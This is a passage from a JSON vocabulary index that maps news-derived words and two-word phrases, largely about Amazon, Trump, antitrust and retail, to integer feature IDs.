\"explosive anecdotes\": 23969,\n  \"tune\": 23970,\n  \"direct reaction\": 23971,\n  \"advisor steve\": 23972,\n  \"christmas sundaythoughts\": 23973,\n  \"fans wouldn\": 23974,\n  \"consumer intelligence\": 23975,\n  \"election felony\": 23976,\n  \"alerting\": 23977,\n  \"onplayerready\": 23978,\n  \"industry songwriters\": 23979,\n  \"locations getty\": 23980,\n  \"fallon points\": 23981,\n  \"prefabricated homes\": 23982,\n  \"wage amazon\": 23983,\n  \"retail purchases\": 23984,\n  \"nerdwallet credit\": 23985,\n  \"buying division\": 23986,\n  \"dispatch expect\": 23987,\n  \"eyed technocrat\": 23988,\n  \"couple previously\": 23989,\n  \"flagship commerce\": 23990,\n  \"poses question\": 23991,\n  \"legislatively\": 23992,\n  \"people poor\": 23993,\n  \"bench\": 23994,\n  \"market sector\": 23995,\n  \"represents district\": 23996,\n  \"humans animals\": 23997,\n  \"conformity\": 23998,\n  \"good examples\": 23999,\n  \"modern monopoly\": 24000,\n  \"news topics\": 24001,\n  \"sec bluefin\": 24002,\n  \"universal service\": 24003,\n  \"continued decline\": 24004,\n  \"tumble puts\": 24005,\n  \"chaotic scene\": 24006,\n  \"keeping people\": 24007,\n  \"sent shockwaves\": 24008,\n  \"francois durand\": 24009,\n  \"bank transfers\": 24010,\n  \"test block\": 24011,\n  \"dress alex\": 24012,\n  \"pronounced period\": 24013,\n  \"american teenagers\": 24014,\n  \"ricci\": 24015,\n  \"democracy facebook\": 24016,\n  \"design game\": 24017,\n  \"finnish\": 24018,\n  \"bucks\": 24019,\n  \"sow fear\": 24020,\n  \"prevent monopolies\": 24021,\n  \"amazon tactics\": 24022,\n  \"sr spons\": 24023,\n  \"pearlstein says\": 24024,\n  \"netscape\": 24025,\n  \"bought 514\": 24026,\n  \"past support\": 24027,\n  \"outlook stays\": 24028,\n  \"lunar new\": 24029,\n  \"federal databases\": 24030,\n  \"admirers amazon\": 24031,\n  \"little late\": 24032,\n  \"bring 130\": 24033,\n  \"surveyed\": 24034,\n  \"dowd tried\": 24035,\n  \"discount deliveries\": 24036,\n  \"sanders inaccurate\": 24037,\n  \"bochy led\": 24038,\n  \"african green\": 24039,\n  \"cnn justice\": 24040,\n  \"names trump\": 24041,\n  \"service used\": 24042,\n  \"awaits report\": 24043,\n  \"additional asylum\": 24044,\n  \"rejected saying\": 24045,\n  \"oozing\": 24046,\n  \"cabo\": 24047,\n  \"new court\": 24048,\n  \"famed washington\": 24049,\n  \"mackenzie prominent\": 24050,\n  \"setting aside\": 24051,\n  \"offers cody\": 24052,\n  \"revealed intimate\": 24053,\n  \"financial gathering\": 24054,\n  \"protest contracts\": 24055,\n  \"bringing antitrust\": 24056,\n  \"signature george\": 24057,\n  \"successful rise\": 24058,\n  \"gosh\": 24059,\n  \"wadhwa says\": 24060,\n  \"sympathetic figure\": 24061,\n  \"computers museum\": 24062,\n  \"floridian academy\": 24063,\n  \"human guests\": 24064,\n  \"insulting remarks\": 24065,\n  \"government cars\": 24066,\n  \"leave reviews\": 24067,\n  \"seconds rod\": 24068,\n  \"service owned\": 24069,\n  \"unified teams\": 24070,\n  \"270 words\": 24071,\n  \"higher inflation\": 24072,\n  \"accomplish particular\": 24073,\n  \"1542140927 mod\": 24074,\n  \"elaborate dash\": 24075,\n  \"leary argues\": 24076,\n  \"stole customer\": 24077,\n  \"turnover survey\": 24078,\n  \"projects 262\": 24079,\n  \"law school\": 24080,\n  \"wisconsin lame\": 24081,\n  \"capricious\": 24082,\n  \"despite criticisms\": 24083,\n  \"onerous law\": 24084,\n  \"cooperatives\": 24085,\n  \"promoting misinformation\": 24086,\n  \"fabric markers\": 24087,\n  \"sofia coppola\": 24088,\n  \"trump audience\": 24089,\n  \"bolts securing\": 24090,\n  \"rdb\": 24091,\n  \"consider location\": 24092,\n  \"real man\": 24093,\n  \"minister narendramodi\": 24094,\n  \"reprogram\": 24095,\n  \"america does\": 24096,\n  \"\\u014222\": 24097,\n  \"online writes\": 24098,\n  \"manuel miranda\": 24099,\n  \"bullet\": 24100,\n  \"far different\": 24101,\n  \"processing companies\": 24102,\n  \"book george\": 24103,\n  \"normous online\": 24104,\n  \"disbursements\": 24105,\n  \"cash 2018\": 24106,\n  \"sgt vince\": 24107,\n  \"international studies\": 24108,\n  \"held congress\": 24109,\n  \"flashpoint\": 24110,\n  \"missouri killed\": 24111,\n  \"oecd\": 24112,\n  \"including khashoggi\": 24113,\n  \"important pillpack\": 24114,\n  \"fluctuating\": 24115,\n  \"zakrzewski\": 24116,\n  \"aston\": 24117,\n  \"google acquisitions\": 24118,\n  \"katie graham\": 24119,\n  \"popes\": 24120,\n  \"buy provider\": 24121,\n  \"737 max\": 24122,\n  \"exit postal\": 24123,\n  \"removeclass cd\": 24124,\n  \"walmart workers\": 24125,\n  \"new mailbox\": 24126,\n  \"term cash\": 24127,\n  \"nevermind\": 24128,\n  \"immense\": 24129,\n  \"including salma\": 24130,\n  \"successfully resisted\": 24131,\n  \"sundaythoughts\": 24132,\n  \"strongly increasing\": 24133,\n  \"ray snoddy\": 24134,\n  \"markets stocks\": 24135,\n  \"canada economist\": 24136,\n  \"luxor\": 24137,\n  \"sales ustr\": 24138,\n  \"toga disrespectful\": 24139,\n  \"day theatrical\": 24140,\n  \"entry jeff\": 24141,\n  \"hedging inflated\": 24142,\n  \"informal\": 24143,\n  \"brazilian supreme\": 24144,\n  \"net profit\": 24145,\n  \"ebay stock\": 24146,\n  \"50pm contributor\": 24147,\n  \"surveil\": 24148,\n  \"returned just\": 24149,\n  \"creatively\": 24150,\n  \"bret\": 24151,\n  \"477 058\": 24152,\n  \"shultz\": 24153,\n  \"post broadcast\": 24154,\n  \"deadly london\": 24155,\n  \"michael kors\": 24156,\n  \"thejustice\": 24157,\n  \"yarmulke\": 24158,\n  \"various affiliate\": 24159,\n  \"staying home\": 24160,\n  \"gentrifying\": 24161,\n  \"tvietor08\": 24162,\n  \"destroying small\": 24163,\n  \"taxes child\": 24164,\n  \"companies suddenly\": 24165,\n  \"legal interpretations\": 24166,\n  \"wwg1wga apparently\": 24167,\n  \"reappears year\": 24168,\n  \"deliveries means\": 24169,\n  \"banana fucking\": 24170,\n  \"buzzsaws escalating\": 24171,\n  \"unlawful bias\": 24172,\n  \"riechmann\": 24173,\n  \"respond directly\": 24174,\n  \"current subsidies\": 24175,\n  \"vendors natural\": 24176,\n  \"aapl abuse\": 24177,\n  \"powerful tools\": 24178,\n  \"nearly 500\": 24179,\n  \"8217 high\": 24180,\n  \"verticals\": 24181,\n  \"surprisingly inexpensive\": 24182,\n  \"2019 earnings\": 24183,\n  \"lucca\": 24184,\n  \"nevergoing\": 24185,\n  \"agency package\": 24186,\n  \"statement fedex\": 24187,\n  \"unilateral defiance\": 24188,\n  \"launch talks\": 24189,\n  \"ridiculous consider\": 24190,\n  \"conagra brands\": 24191,\n  \"italy relations\": 24192,\n  \"sports channels\": 24193,\n  \"axios interview\": 24194,\n  \"rekognition thanks\": 24195,\n  \"transfer agency\": 24196,\n  \"acute\": 24197,\n  \"tweets accusing\": 24198,\n  \"crowding\": 24199,\n  \"sales day\": 24200,\n  \"presidential edict\": 24201,\n  \"president wasteful\": 24202,\n  \"purposes minutes\": 24203,\n  \"old indigenous\": 24204,\n  \"pollock dundas\": 24205,\n  \"bhagavad\": 24206,\n  \"power stance\": 24207,\n  \"constant disruption\": 24208,\n  \"lee israel\": 24209,\n  \"fortune related\": 24210,\n  \"priceline\": 24211,\n  \"twgmb\": 24212,\n  \"cibc moves\": 24213,\n  \"angeles details\": 24214,\n  \"wilkinson\": 24215,\n  \"shipping couple\": 24216,\n  \"prowrestling\": 24217,\n  \"hate government\": 24218,\n  \"familie albrecht\": 24219,\n  \"shelters kids\": 24220,\n  \"poetry expressing\": 24221,\n  \"puts companies\": 24222,\n  \"matter told\": 24223,\n  \"light roast\": 24224,\n  \"mccarthy emerges\": 24225,\n  \"storage networks\": 24226,\n  \"amazon broken\": 24227,\n  \"surefire deal\": 24228,\n  \"solving climate\": 24229,\n  \"longer selling\": 24230,\n  \"news world\": 24231,\n  \"tech lobby\": 24232,\n  \"writing stories\": 24233,\n  \"academics critical\": 24234,\n  \"roulette washington\": 24235,\n  \"disclaim\": 24236,\n  \"steadfast opponent\": 24237,\n  \"company briefly\": 24238,\n  \"humidity\": 24239,\n  \"increased government\": 24240,\n  \"ai boom\": 24241,\n  \"brexit dividends\": 24242,\n  \"repeated targets\": 24243,\n  \"tentative agreements\": 24244,\n  \"manhattan rodriguez\": 24245,\n  \"frustration amounts\": 24246,\n  \"washington asked\": 24247,\n  \"protectionist instincts\": 24248,\n  \"rejecting fake\": 24249,\n  \"weakening global\": 24250,\n  \"big losers\": 24251,\n  \"hunter calif\": 24252,\n  \"table robert\": 24253,\n  \"company combs\": 24254,\n  \"development flows\": 24255,\n  \"lower wage\": 24256,\n  \"thirds\": 24257,\n  \"critics amazon\": 24258,\n  \"faith settlement\": 24259,\n  \"sectors oligopoly\": 24260,\n  \"jake peralta\": 24261,\n  \"owner ryan\": 24262,\n  \"typical bureaucracy\": 24263,\n  \"cooper asking\": 24264,\n  \"potentially large\": 24265,\n  \"times pence\": 24266,\n  \"jedi cloud\": 24267,\n  \"nonpartisan melissa\": 24268,\n  \"sexually assaulted\": 24269,\n  \"market sonos\": 24270,\n  \"terminal dues\": 24271,\n  \"q0 split\": 24272,\n  \"better cash\": 24273,\n  \"irreparable\": 24274,\n  \"providing services\": 24275,\n  \"tech mogul\": 24276,\n  \"amazon publically\": 24277,\n  \"council new\": 24278,\n  \"providing oversight\": 24279,\n  \"company critics\": 24280,\n  \"unit saved\": 24281,\n  \"lgbtq message\": 24282,\n  \"nature reports\": 24283,\n  \"goodbye\": 24284,\n  \"aid\": 24285,\n  \"friendly operating\": 24286,\n  \"year ap\": 24287,\n  \"yelp seeks\": 24288,\n  \"woody cities\": 24289,\n  \"apple goldman\": 24290,\n  \"increase governor\": 24291,\n  \"wheat director\": 24292,\n  \"background start\": 24293,\n  \"require corroboration\": 24294,\n  \"beams laser\": 24295,\n  \"companies computers\": 24296,\n  \"alliance forcibly\": 24297,\n  \"risky market\": 24298,\n  \"major online\": 24299,\n  \"powell pov\": 24300,\n  \"mclemore\": 24301,\n  \"guidance 2018\": 24302,\n  \"press publishing\": 24303,\n  \"campanelli office\": 24304,\n  \"operator instructions\": 24305,\n  \"photo michael\": 24306,\n  \"sold 750\": 24307,\n  \"known stalking\": 24308,\n  \"pittsburgh\": 24309,\n  \"article terrell\": 24310,\n  \"married albawaba\": 24311,\n  \"youtube cnbc\": 24312,\n  \"gender dallas\": 24313,\n  \"mona lisa\": 24314,\n  \"meet surging\": 24315,\n  \"industry catch\": 24316,\n  \"mia past\": 24317,\n  \"fish lips\": 24318,\n  \"premium price\": 24319,\n  \"recently claimed\": 24320,\n  \"sanders pledged\": 24321,\n  \"kantonalbank zurich\": 24322,\n  \"biggest selling\": 24323,\n  \"postmaster general\": 24324,\n  \"apps\": 24325,\n  \"commission retained\": 24326,\n  \"vaguely\": 24327,\n  \"masses\": 24328,\n  \"fair 2018\": 24329,\n  \"half mortal\": 24330,\n  \"classification\": 24331,\n  \"democrats party\": 24332,\n  \"ohio illinois\": 24333,\n  \"asset\": 24334,\n  \"bilateral alliance\": 24335,\n  \"laid blame\": 24336,\n  \"colorado camp\": 24337,\n  \"needed second\": 24338,\n  \"smaller businesses\": 24339,\n  \"rarely speaks\": 24340,\n  \"terry crews\": 24341,\n  \"trump repeatedly\": 24342,\n  \"real opportunity\": 24343,\n  \"puget\": 24344,\n  \"retreated\": 24345,\n  \"mueller scarborough\": 24346,\n  \"cost business\": 24347,\n  \"cbs kelly\": 24348,\n  \"holiday party\": 24349,\n  \"omarosa money\": 24350,\n  \"media bezos\": 24351,\n  \"daina beth\": 24352,\n  \"costco ceo\": 24353,\n  \"court upheld\": 24354,\n  \"battery market\": 24355,\n  \"met sanchez\": 24356,\n  \"infrastructure improvements\": 24357,\n  \"skift author\": 24358,\n  \"vote\": 24359,\n  \"opposed aiding\": 24360,\n  \"wilkinson encourages\": 24361,\n  \"stationary kitchens\": 24362,\n  \"reasonable competition\": 24363,\n  \"makes friends\": 24364,\n  \"shipping world\": 24365,\n  \"crummy coffee\": 24366,\n  \"judiciary antitrust\": 24367,\n  \"commentator matt\": 24368,\n  \"lawmakers want\": 24369,\n  \"prime rob\": 24370,\n  \"legislator criticize\": 24371,\n  \"based brands\": 24372,\n  \"healthy\": 24373,\n  \"brutally changed\": 24374,\n  \"tutting\": 24375,\n  \"market close\": 24376,\n  \"jfp97kdkbp\": 24377,\n  \"significant factor\": 24378,\n  \"stinky muddy\": 24379,\n  \"louisiana arson\": 24380,\n  \"telling ceos\": 24381,\n  \"missoula montana\": 24382,\n  \"image 575x270\": 24383,\n  \"visual capitalist\": 24384,\n  \"track hunt\": 24385,\n  \"anthony kennedy\": 24386,\n  \"indigenous territories\": 24387,\n  \"opinion readers\": 24388,\n  \"stunning truth\": 24389,\n  \"rich fox\": 24390,\n  \"cool trumpkins\": 24391,\n  \"community santiago\": 24392,\n  \"1990s japanese\": 24393,\n  \"manha manhattan\": 24394,\n  \"fox information\": 24395,\n  \"secure exclusives\": 24396,\n  \"elizabeth jennings\": 24397,\n  \"eastern chinese\": 24398,\n  \"rights 3d\": 24399,\n  \"chuck recently\": 24400,\n  \"results amazon\": 24401,\n  \"cash flow\": 24402,\n  \"ooey\": 24403,\n  \"campus split\": 24404,\n  \"jails\": 24405,\n  \"invasions\": 24406,\n  \"x8 stringify\": 24407,\n  \"time lawyer\": 24408,\n  \"o2x\": 24409,\n  \"shifts 352\": 24410,\n  \"boggs\": 24411,\n  \"forum article\": 24412,\n  \"life selling\": 24413,\n  \"lights\": 24414,\n  \"berin\": 24415,\n  \"\\u0627\\u062d\": 24416,\n  \"democrats probes\": 24417,\n  \"state senator\": 24418,\n  \"later confirmed\": 24419,\n  \"quite thing\": 24420,\n  \"exit date\": 24421,\n  \"unpopularity\": 24422,\n  \"lease branded\": 24423,\n  \"timed\": 24424,\n  \"recalling losartan\": 24425,\n  \"thomas chhay\": 24426,\n  \"substantially increase\": 24427,\n  \"abandons nyc\": 24428,\n  \"extensive netflix\": 24429,\n  \"cal state\": 24430,\n  \"prices met\": 24431,\n  \"wikileak infers\": 24432,\n  \"grand idea\": 24433,\n  \"accuses sessions\": 24434,\n  \"service jobs\": 24435,\n  \"dc crony\": 24436,\n  \"really need\": 24437,\n  \"official telling\": 24438,\n  \"brox style\": 24439,\n  \"ilsr\": 24440,\n  \"summer trump\": 24441,\n  \"secretary schedule\": 24442,\n  \"contrast doesn\": 24443,\n  \"eyster helping\": 24444,\n  \"convenient time\": 24445,\n  \"pointedly declined\": 24446,\n  \"jeff hired\": 24447,\n  \"equipment maker\": 24448,\n  \"lee business\": 24449,\n  \"suffers embarrassing\": 24450,\n  \"florida florida\": 24451,\n  \"china factor\": 24452,\n  \"took 106\": 24453,\n  \"grover oregon\": 24454,\n  \"parties ability\": 24455,\n  \"included quite\": 24456,\n  \"merck lockheed\": 24457,\n  \"psych files\": 24458,\n  \"employees shares\": 24459,\n  \"unallocated\": 24460,\n  \"taking responsibility\": 24461,\n  \"contradictions\": 24462,\n  \"analyst andrew\": 24463,\n  \"popular pillow\": 24464,\n  \"tv services\": 24465,\n  \"president drew\": 24466,\n  \"court strategy\": 24467,\n  \"buffett amazon\": 24468,\n  \"gushing stream\": 24469,\n  \"300 000\": 24470,\n  \"emily chang\": 24471,\n  \"publicity\": 24472,\n  \"831 shares\": 24473,\n  \"realtor\": 24474,\n  \"secret lobbying\": 24475,\n  \"ride 2019\": 24476,\n  \"agnostic shareholder\": 24477,\n  \"anticipated efficiencies\": 24478,\n  \"wrote postcard\": 24479,\n  \"republican house\": 24480,\n  \"twins ex\": 24481,\n  \"usps expenses\": 24482,\n  \"superintendent susana\": 24483,\n  \"doj antitrust\": 24484,\n  \"cabinet zinke\": 24485,\n  \"california uncontainable\": 24486,\n  \"paywall\": 24487,\n  \"running negative\": 24488,\n  \"demarcations weakening\": 24489,\n  \"pulitzer category\": 24490,\n  \"disproportionately affected\": 24491,\n  \"checkers saying\": 24492,\n  \"analysts predict\": 24493,\n  \"small number\": 24494,\n  \"videotape\": 24495,\n  \"worker complaints\": 24496,\n  \"amazon hourly\": 24497,\n  \"millionaire views\": 24498,\n  \"government aws\": 24499,\n  \"editorial say\": 24500,\n  \"trading volumes\": 24501,\n  \"previously thought\": 24502,\n  \"mrk 21st\": 24503,\n  \"long long\": 24504,\n  \"silva\": 24505,\n  \"flailing\": 24506,\n  \"industries valerie\": 24507,\n  \"base varma\": 24508,\n  \"economy jobs\": 24509,\n  \"fraternity party\": 24510,\n  \"saw\": 24511,\n  \"agitator joey\": 24512,\n  \"brooklyn voters\": 24513,\n  \"fingers ahead\": 24514,\n  \"tomorrow delivery\": 24515,\n  \"wouldn know\": 24516,\n  \"yesterday decision\": 24517,\n  \"political conspiracies\": 24518,\n  \"grasp amazon\": 24519,\n  \"interview sexual\": 24520,\n  \"amazon secretive\": 24521,\n  \"taking aim\": 24522,\n  \"refugee families\": 24523,\n  \"best scoring\": 24524,\n  \"photoshop prime\": 24525,\n  \"excrement\": 24526,\n  \"acquiring long\": 24527,\n  \"kart\": 24528,\n  \"prosecutors trump\": 24529,\n  \"seriously looking\": 24530,\n  \"shown leadership\": 24531,\n  \"bias trump\": 24532,\n  \"breach just\": 24533,\n  \"migrating\": 24534,\n  \"extensive promotional\": 24535,\n  \"odom eejodom3\": 24536,\n  \"implored\": 24537,\n  \"happened html\": 24538,\n  \"value just\": 24539,\n  \"charge officials\": 24540,\n  \"jahnke longtime\": 24541,\n  \"gap told\": 24542,\n  \"tea tree\": 24543,\n  \"independent content\": 24544,\n  \"vote overturned\": 24545,\n  \"highly unusual\": 24546,\n  \"planet carbon\": 24547,\n  \"professor\": 24548,\n  \"report original\": 24549,\n  \"senate education\": 24550,\n  \"agency resource\": 24551,\n  \"tennant\": 24552,\n  \"consumer don\": 24553,\n  \"saddam hussein\": 24554,\n  \"reigns\": 24555,\n  \"tweeted rocket\": 24556,\n  \"kim tong\": 24557,\n  \"comprises 550\": 24558,\n  \"detention homes\": 24559,\n  \"apace today\": 24560,\n  \"sir martin\": 24561,\n  \"single business\": 24562,\n  \"harrowingly leads\": 24563,\n  \"pancevski\": 24564,\n  \"big trophy\": 24565,\n  \"party amazon\": 24566,\n  \"tucking\": 24567,\n  \"directly trump\": 24568,\n  \"means online\": 24569,\n  \"segall wrote\": 24570,\n  \"judges wins\": 24571,\n  \"various public\": 24572,\n  \"say craft\": 24573,\n  \"regulators penalized\": 24574,\n  \"explicitly threatened\": 24575,\n  \"baseless\": 24576,\n  \"workers 10k\": 24577,\n  \"billion antitrust\": 24578,\n  \"animated flick\": 24579,\n  \"ftc decision\": 24580,\n  \"inside power\": 24581,\n  \"ny\": 24582,\n  \"030 words\": 24583,\n  \"feels separate\": 24584,\n  \"launches task\": 24585,\n  \"living working\": 24586,\n  \"intc shares\": 24587,\n  \"meth seizure\": 24588,\n  \"book sad\": 24589,\n  \"tailor\": 24590,\n  \"profile different\": 24591,\n  \"justifies\": 24592,\n  \"aftershocks echo\": 24593,\n  \"committee published\": 24594,\n  \"attacks watered\": 24595,\n  \"banner image\": 24596,\n  \"jolt\": 24597,\n  \"india unit\": 24598,\n  \"529 2651\": 24599,\n  \"maduro loyal\": 24600,\n  \"john layfield\": 24601,\n  \"fighting brutal\": 24602,\n  \"mccain subsequently\": 24603,\n  \"auto sales\": 24604,\n  \"dirty word\": 24605,\n  \"height display\": 24606,\n  \"magnitude\": 24607,\n  \"population growth\": 24608,\n  \"iraq began\": 24609,\n  \"claims forms\": 24610,\n  \"fed says\": 24611,\n  \"president berman\": 24612,\n  \"asshole edward\": 24613,\n  \"published months\": 24614,\n  \"orthodoxy silence\": 24615,\n  \"foul president\": 24616,\n  \"business update\": 24617,\n  \"pursuing paid\": 24618,\n  \"right sandeep\": 24619,\n  \"included ads\": 24620,\n  \"needlessly reduce\": 24621,\n  \"ending html\": 24622,\n  \"later adapted\": 24623,\n  \"downtown chicago\": 24624,\n  \"imaginable\": 24625,\n  \"avowed socialist\": 24626,\n  \"gleam\": 24627,\n  \"feels right\": 24628,\n  \"excellency gov\": 24629,\n  \"adrian\": 24630,\n  \"theorist alex\": 24631,\n  \"talks hopes\": 24632,\n  \"foto source6pm\": 24633,\n  \"monopolies asymmetric\": 24634,\n  \"says oxfam\": 24635,\n  \"father day\": 24636,\n  \"farah riverhead\": 24637,\n  \"consider scrapping\": 24638,\n  \"1979\": 24639,\n  \"management consulting\": 24640,\n  \"trump targeting\": 24641,\n  \"includes rethinking\": 24642,\n  \"consolations\": 24643,\n  \"immigration donald\": 24644,\n  \"aquino plays\": 24645,\n  \"cook left\": 24646,\n  \"gardner decides\": 24647,\n  \"free investigations\": 24648,\n  \"million donated\": 24649,\n  \"corporate work\": 24650,\n  \"writers conservatives\": 24651,\n  \"book examines\": 24652,\n  \"restarting\": 24653,\n  \"spec\": 24654,\n  \"common goal\": 24655,\n  \"renewal\": 24656,\n  \"disrupts\": 24657,\n  \"felt strongly\": 24658,\n  \"tested drones\": 24659,\n  \"doesn pass\": 24660,\n  \"theft occurred\": 24661,\n  \"columnists\": 24662,\n  \"merchandiser\": 24663,\n  \"company contacted\": 24664,\n  \"second woman\": 24665,\n  \"assad regime\": 24666,\n  \"commenting\": 24667,\n  \"discouraged talk\": 24668,\n  \"rival tech\": 24669,\n  \"scholarships supporting\": 24670,\n  \"amazon bids\": 24671,\n  \"doing total\": 24672,\n  \"cheadle doncheadle\": 24673,\n  \"key liaison\": 24674,\n  \"currently columnist\": 24675,\n  \"farhad manjoo\": 24676,\n  \"commerce packages\": 24677,\n  \"russell woody\": 24678,\n  \"matthews ap\": 24679,\n  \"lashinsky asked\": 24680,\n  \"wages flat\": 24681,\n  \"peeks\": 24682,\n  \"larger stronger\": 24683,\n  \"pages urging\": 24684,\n  \"outrun\": 24685,\n  \"open investigations\": 24686,\n  \"belonged\": 24687,\n  \"view bunch\": 24688,\n  \"extend gains\": 24689,\n  \"trump stiffing\": 24690,\n  \"cozy relationship\": 24691,\n  \"moneyweb\": 24692,\n  \"unaffected\": 24693,\n  \"market competition\": 24694,\n  \"index added\": 24695,\n  \"billion romancing\": 24696,\n  \"barr\": 24697,\n  \"easter\": 24698,\n  \"visit malawi\": 24699,\n  \"fedex logistics\": 24700,\n  \"people wage\": 24701,\n  \"lucrative revenue\": 24702,\n  \"annexing new\": 24703,\n  \"trulia stay\": 24704,\n  \"amy krouse\": 24705,\n  \"kent wash\": 24706,\n  \"forces american\": 24707,\n  \"camping grounds\": 24708,\n  \"hoy blackfriday\": 24709,\n  \"sends letter\": 24710,\n  \"democratic challenger\": 24711,\n  \"temple\": 24712,\n  \"reportedly looking\": 24713,\n  \"act law\": 24714,\n  \"khanna california\": 24715,\n  \"cumulative\": 24716,\n  \"offering low\": 24717,\n  \"testifying\": 24718,\n  \"espite growth\": 24719,\n  \"site wish\": 24720,\n  \"destroying native\": 24721,\n  \"elizabeth philip\": 24722,\n  \"honduran\": 24723,\n  \"anonymous commentary\": 24724,\n  \"large check\": 24725,\n  \"corrected graphic\": 24726,\n  \"texts published\": 24727,\n  \"taketh away\": 24728,\n  \"occasionally happens\": 24729,\n  \"earnings positions\": 24730,\n  \"tableau software\": 24731,\n  \"states constitution\": 24732,\n  \"2020 cardiologists\": 24733,\n  \"bloomfield new\": 24734,\n  \"quirky words\": 24735,\n  \"moisture wicking\": 24736,\n  \"wage thank\": 24737,\n  \"additional details\": 24738,\n  \"execs\": 24739,\n  \"week flurry\": 24740,\n  \"sponsors moz\": 24741,\n  \"today opinion\": 24742,\n  \"recorded telephone\": 24743,\n  \"editorial cuba\": 24744,\n  \"daughter ordered\": 24745,\n  \"wild type\": 24746,\n  \"house historical\": 24747,\n  \"countries including\": 24748,\n  \"consumers amazon\": 24749,\n  \"tech contractors\": 24750,\n  \"people questioning\": 24751,\n  \"amazon tropical\": 24752,\n  \"retakes\": 24753,\n  \"appreciating real\": 24754,\n  \"manhattan prosecutors\": 24755,\n  \"thebrowser\": 24756,\n  \"exciting growth\": 24757,\n  \"random creek\": 24758,\n  \"partners estimated\": 24759,\n  \"saying congress\": 24760,\n  \"wouldn talk\": 24761,\n  \"brenda snipes\": 24762,\n  \"510bn latest\": 24763,\n  \"invest 230\": 24764,\n  \"lawsuit photos\": 24765,\n  \"increase analysts\": 24766,\n  \"t6grrlczs8 jon\": 24767,\n  \"street expected\": 24768,\n  \"stubs showed\": 24769,\n  \"doing needle\": 24770,\n  \"york office\": 24771,\n  \"american small\": 24772,\n  \"including dispatches\": 24773,\n  \"ben_richie\": 24774,\n  \"infrastructure immigration\": 24775,\n  \"hetu retail\": 24776,\n  \"scheduled air\": 24777,\n  \"substantial investigation\": 24778,\n  \"status 1041865777173823488\": 24779,\n  \"6_5\": 24780,\n  \"optum\": 24781,\n  \"watchdog journalists\": 24782,\n  \"hairpieces\": 24783,\n  \"twitter kyleperisic\": 24784,\n  \"considering locating\": 24785,\n  \"headquarters practically\": 24786,\n  \"tm inauguration\": 24787,\n  \"source ashland\": 24788,\n  \"revolutionized\": 24789,\n  \"byers\": 24790,\n  \"livewire\": 24791,\n  \"jeffrey sold\": 24792,\n  \"verylong\": 24793,\n  \"dishonest media\": 24794,\n  \"troubling internal\": 24795,\n  \"critical presidential\": 24796,\n  \"stash worth\": 24797,\n  \"soup lululemon\": 24798,\n  \"mesrobian director\": 24799,\n  \"thumbnail hide\": 24800,\n  \"tragedy strikes\": 24801,\n  \"billion euros\": 24802,\n  \"catch phrases\": 24803,\n  \"nbcsnl\": 24804,\n  \"helps earn\": 24805,\n  \"splc lumps\": 24806,\n  \"economics laureate\": 24807,\n  \"rides john\": 24808,\n  \"pj\": 24809,\n  \"face commercial\": 24810,\n  \"special blend\": 24811,\n  \"crime houston\": 24812,\n  \"offshore\": 24813,\n  \"uber 2018\": 24814,\n  \"bailing\": 24815,\n  \"meaning trump\": 24816,\n  \"vanishing\": 24817,\n  \"major\": 24818,\n  \"headquarters toronto\": 24819,\n  \"asking president\": 24820,\n  \"transmit messages\": 24821,\n  \"davidson previously\": 24822,\n  \"knife acronym\": 24823,\n  \"communication failures\": 24824,\n  \"group moveon\": 24825,\n  \"retail adjacent\": 24826,\n  \"lyla\": 24827,\n  \"delivery trump\": 24828,\n  \"pulled gun\": 24829,\n  \"state updated\": 24830,\n  \"transactional\": 24831,\n  \"rooms ikea\": 24832,\n  \"mets\": 24833,\n  \"marijuana laws\": 24834,\n  \"fare changes\": 24835,\n  \"honest discussion\": 24836,\n  \"mayer brands\": 24837,\n  \"juice handy\": 24838,\n  \"barr provided\": 24839,\n  \"mission network\": 24840,\n  \"work sanders\": 24841,\n  \"followed nshongore\": 24842,\n  \"cleveland cavaliers\": 24843,\n  \"displease\": 24844,\n  \"grabbing policy\": 24845,\n  \"farm loopholes\": 24846,\n  \"caused demand\": 24847,\n  \"reasoned\": 24848,\n  \"provided national\": 24849,\n  \"1974\": 24850,\n  \"constitution adopted\": 24851,\n  \"ages 2018\": 24852,\n  \"independent merchants\": 24853,\n  \"padded envelopes\": 24854,\n  \"agency aca\": 24855,\n  \"staffer thomas\": 24856,\n  \"249 shares\": 24857,\n  \"talks warns\": 24858,\n  \"opposes\": 24859,\n  \"funds adopted\": 24860,\n  \"hill geekwire\": 24861,\n  \"turkey evidence\": 24862,\n  \"fuel tanks\": 24863,\n  \"ratings posted\": 24864,\n  \"privatisation\": 24865,\n  \"e4 v4\": 24866,\n  \"amazon reasoning\": 24867,\n  \"summit north\": 24868,\n  \"breached eu\": 24869,\n  \"sees retail\": 24870,\n  \"dakota indiana\": 24871,\n  \"governors voted\": 24872,\n  \"business briefs\": 24873,\n  \"post continued\": 24874,\n  \"donations congress\": 24875,\n  \"hit record\": 24876,\n  \"remains quite\": 24877,\n  \"0854et copyright\": 24878,\n  \"businesses bribed\": 24879,\n  \"biggest shipper\": 24880,\n  \"court presents\": 24881,\n  \"penetrate commerce\": 24882,\n  \"000 indirect\": 24883,\n  \"reports noted\": 24884,\n  \"clearly trying\": 24885,\n  \"lew blasts\": 24886,\n  \"1342et\": 24887,\n  \"unconvinced\": 24888,\n  \"started raising\": 24889,\n  \"actual shape\": 24890,\n  \"little hidden\": 24891,\n  \"current version\": 24892,\n  \"research looks\": 24893,\n  \"fighter jet\": 24894,\n  \"beefed\": 24895,\n  \"arthur carter\": 24896,\n  \"taliban agrees\": 24897,\n  \"interests enjoy\": 24898,\n  \"spending excluding\": 24899,\n  \"5000 gpu\": 24900,\n  \"issue plays\": 24901,\n  \"desktop\": 24902,\n  \"galleries mma\": 24903,\n  \"boyle screws\": 24904,\n  \"possibly green\": 24905,\n  \"generous deal\": 24906,\n  \"does denounce\": 24907,\n  \"forms 1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq\": 24908,\n  \"opened roads\": 24909,\n  \"leader xin\": 24910,\n  \"details watchdog\": 24911,\n  \"adult center\": 24912,\n  \"riggs riggs\": 24913,\n  \"damian paletta\": 24914,\n  \"far failed\": 24915,\n  \"bloomberg called\": 24916,\n  \"roundup retailers\": 24917,\n  \"growing risk\": 24918,\n  \"platt\": 24919,\n  \"new space\": 24920,\n  \"legislation trump\": 24921,\n  \"american vandal\": 24922,\n  \"views alphabet\": 24923,\n  \"feud new\": 24924,\n  \"brain body\": 24925,\n  \"guggenheims\": 24926,\n  \"big impact\": 24927,\n  \"utah rep\": 24928,\n  \"cash star\": 24929,\n  \"misleading regulatorsabout\": 24930,\n  \"want google\": 24931,\n  \"intently linked\": 24932,\n  